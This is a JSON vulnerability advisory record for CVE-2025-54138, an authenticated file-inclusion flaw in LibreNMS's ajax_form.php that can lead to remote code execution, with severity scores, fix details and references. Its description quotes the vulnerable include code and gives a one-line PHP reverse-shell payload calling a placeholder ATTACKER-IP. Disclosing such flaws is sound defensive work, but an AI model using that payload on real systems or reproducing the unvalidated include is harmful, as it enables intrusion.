{"id":"CVE-2025-54138","aliases":["CVE-2025-54138","GHSA-gq96-8w38-hhj2"],"related":[],"kind":"vulnerability","state":"published","title":"LibreNMS has Authenticated Local File Inclusion in ajax_form.php that Allows RCE","summary":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems. LibreNMS versions 25.6.0 and below contain an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input. The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting. This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities. This is fixed in version 25.7.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems. LibreNMS versions 25.6.0 and below contain an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input. The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting. This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities. This is fixed in version 25.7.0.","source":"cvelist"},{"lang":"en","text":"LibreNMS 25.6.0 contains an architectural vulnerability in the `ajax_form.php` endpoint that permits Remote File Inclusion based on user-controlled POST input. \n\nThe application directly uses the `type` parameter to dynamically include `.inc.php` files from the trusted path `includes/html/forms/`, without validation or allowlisting:\n\n```php\nif (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {\n    include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';\n}\n```\nThis pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.\n\n>  This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.\n\n# Conditions for Exploitation\n\n- Attacker must be authenticated    \n- Attacker must control a file at `includes/html/forms/{type}.inc.php` (or symlink)        \n\n# Example Impact (RCE)\n\nIf a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the `librenms` user context:\n\n```php\n<?php system('/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1\"'); ?>\n```\nhttps://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812\n\n\n---\n\n# Recommended Fix\n\n- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames. \n- Avoid passing raw POST input into `include_once`.\n- Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).","format":"markdown","source":"ghsa"},{"lang":"es","text":"LibreNMS es un sistema de monitorización de red con autodescubrimiento basado en PHP/MySQL/SNMP, compatible con una amplia gama de hardware de red y sistemas operativos. Las versiones 25.6.0 y anteriores de LibreNMS contienen una vulnerabilidad arquitectónica en el endpoint ajax_form.php que permite la inclusión remota de archivos (.inc.php) mediante la entrada POST controlada por el usuario. La aplicación utiliza directamente el parámetro type para incluir dinámicamente archivos .inc.php desde la ruta de confianza `includes/html/forms/`, sin validación ni inclusión en la lista de permitidos. Este patrón introduce un vector latente de ejecución remota de código (RCE) si un atacante puede preparar un archivo en esta ruta de inclusión, por ejemplo, mediante un enlace simbólico, una configuración incorrecta en el desarrollo o vulnerabilidades encadenadas. Esto se ha corregido en la versión 25.7.0.","source":"nvd"}],"published":"2025-07-21T21:10:51.000Z","modified":"2026-06-17T09:39:31.210Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-98"],"affected":[{"ranges":[{"version":"< 25.7.0","status":"affected"}],"vendor":"librenms","product":"librenms","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"25.7.0"}],"ecosystem":"Packagist","package":"librenms/librenms","purl":"pkg:composer/librenms/librenms","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"25.7.0"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-gq96-8w38-hhj2","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/librenms/librenms/pull/17990","tags":["issue-tracking","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/librenms/librenms/commit/ec89714d929ef0cf2321957ed9198b0f18396c81","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/librenms/librenms/releases/tag/25.7.0","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54138","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/librenms/librenms","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2025-07-23T18:26:36.521Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-54138","url":"https://www.cve.org/CVERecord?id=CVE-2025-54138","licence":"CVE Terms of Use","modified":"2025-07-23T18:26:50.196Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gq96-8w38-hhj2","url":"https://github.com/advisories/GHSA-gq96-8w38-hhj2","licence":"CC-BY-4.0","modified":"2025-07-23T13:57:58.886Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-54138","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54138","licence":"Public domain","modified":"2026-06-17T09:39:31.210Z"}],"updatedAt":"2026-11-25T22:59:01.590Z","epss":{"score":0.01273,"percentile":0.70724,"date":"2026-12-01T12:00:22.000Z"}}